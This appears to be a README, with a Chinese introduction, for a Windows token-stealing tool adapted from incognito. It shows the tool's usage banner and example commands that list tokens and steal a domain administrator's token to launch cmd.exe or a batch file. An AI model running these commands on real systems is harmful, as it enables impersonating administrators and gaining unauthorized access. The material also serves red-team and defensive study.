一个我前阵子编写的用于窃取和操作 Windows 令牌的简单工具。
部分代码取自并改编自 https://github.com/FSecureLABS/incognito
显然，你需要 Impersonation 或 AssignPrimary 特权以及 Debug 特权才能访问所有进程。
通常情况下，你应该以最高本地权限（如 SYSTEM）运行此工具。
TokenStealer.exe
[+] My personal simple and stupid Token Stealer... ;)
[+] v1.0 @decoder_it 2023
[!] Usage:
-l: list all user's token
-e: list all user's token with extended info -> [user]:[token_level (2)=Impersonation, (3)=Delegation,(P)=Primary>]:[pid]:[SessionId]
-p: <pid> list/steal token from specfic process pid
-u: <user> list/steal token of user
-c: <command> command to execute with token
-t: force use of impersonation Privilege
-b: <token level> needed token type: 1=Primary,2=Impersonation,3=Delegation
-s: <SessionId> list/steal token from specific Session ID
=Examples=
TokenStealer.exe -e -b 1
-> list all primary tokens
TokenStealer.exe -l -p 100
-> list all tokens in process pid 100
TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\cmd.exe
-> steal token of the user and execute an interactive command shell using the AssingPrimary privilege if available
TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\bind.bat -p 100 -t
-> steal token of the user in process 100 and execute the batch file using Impersonation privilege instead of AssingPrimary
TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\cmd.exe -b 1
-> steal a primary token of the user and execute an interactive command shell using the AssingPrimary privilege if available
TokenStealer.exe -u MYDOMAIN\administrator -c c:\windows\system32\cmd.exe -s 2
-> steal a token of the user in specific SessionID and execute an interactive command shell using the AssingPrimary privilege if available
